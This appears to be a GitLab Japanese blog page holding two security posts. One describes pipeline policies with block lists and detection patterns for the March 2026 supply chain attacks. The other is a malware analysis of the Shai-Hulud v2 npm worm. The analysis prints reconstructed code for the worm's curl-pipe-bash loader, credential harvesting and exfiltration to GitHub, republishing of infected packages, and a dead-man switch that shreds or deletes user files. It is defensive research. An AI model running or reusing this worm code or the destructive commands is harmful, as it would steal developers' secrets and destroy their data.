この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\nこのポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nこのポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\nリポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n**検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n* ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n* 59.8 MBというサイズはサイズゲートに引っかかります。\n* 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n**問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n**PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n**npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n**Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n違反が検出されると：\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nこのポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n**検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n**問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n**PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n**承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n**許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n**ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n**検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n*注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n## PEPを超えて：GitLabのサプライチェーン防御\n\nパイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n### シークレット検出\n\n[GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n* リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n* シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\nGitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n* LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n* axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n* 同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n[GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n## あなたの組織にとっての意味\n\nAI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n推奨事項をまとめます：\n\n1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n## GitLabでパイプラインを保護する\n\n2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\nGitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n*このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*",[730],"Grant Hickman","2026-04-10","2026-04-07","3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ",[22,735,736,24],"product","tutorial","2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。",{"featured":33,"template":14,"slug":739},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":741,"config":752},{"heroImage":742,"body":743,"authors":744,"updatedDate":747,"date":748,"title":749,"tags":750,"description":751,"category":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[745,746],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[22,23],"攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":13,"template":14,"slug":753},"gitlab-discovers-widespread-npm-supply-chain-attack",{"promotions":755},[756,770,781,792],{"id":757,"categories":758,"header":760,"text":761,"button":762,"image":767},"ai-modernization",[759],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":763,"config":764},"Get your AI maturity score",{"href":765,"dataGaName":766,"dataGaLocation":255},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":768},{"src":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":771,"categories":772,"header":773,"text":761,"button":774,"image":778},"devops-modernization",[735,580],"Are you just managing tools or shipping innovation?",{"text":775,"config":776},"Get your DevOps maturity score",{"href":777,"dataGaName":766,"dataGaLocation":255},"/assessments/devops-modernization-assessment/",{"config":779},{"src":780},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":782,"categories":783,"header":784,"text":761,"button":785,"image":789},"security-modernization",[22],"Are you trading speed for security?",{"text":786,"config":787},"Get your security maturity score",{"href":788,"dataGaName":766,"dataGaLocation":255},"/assessments/security-modernization-assessment/",{"config":790},{"src":791},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":793,"paths":794,"header":797,"text":798,"button":799,"image":804},"github-azure-migration",[795,796],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":800,"config":801},"See how GitLab compares to 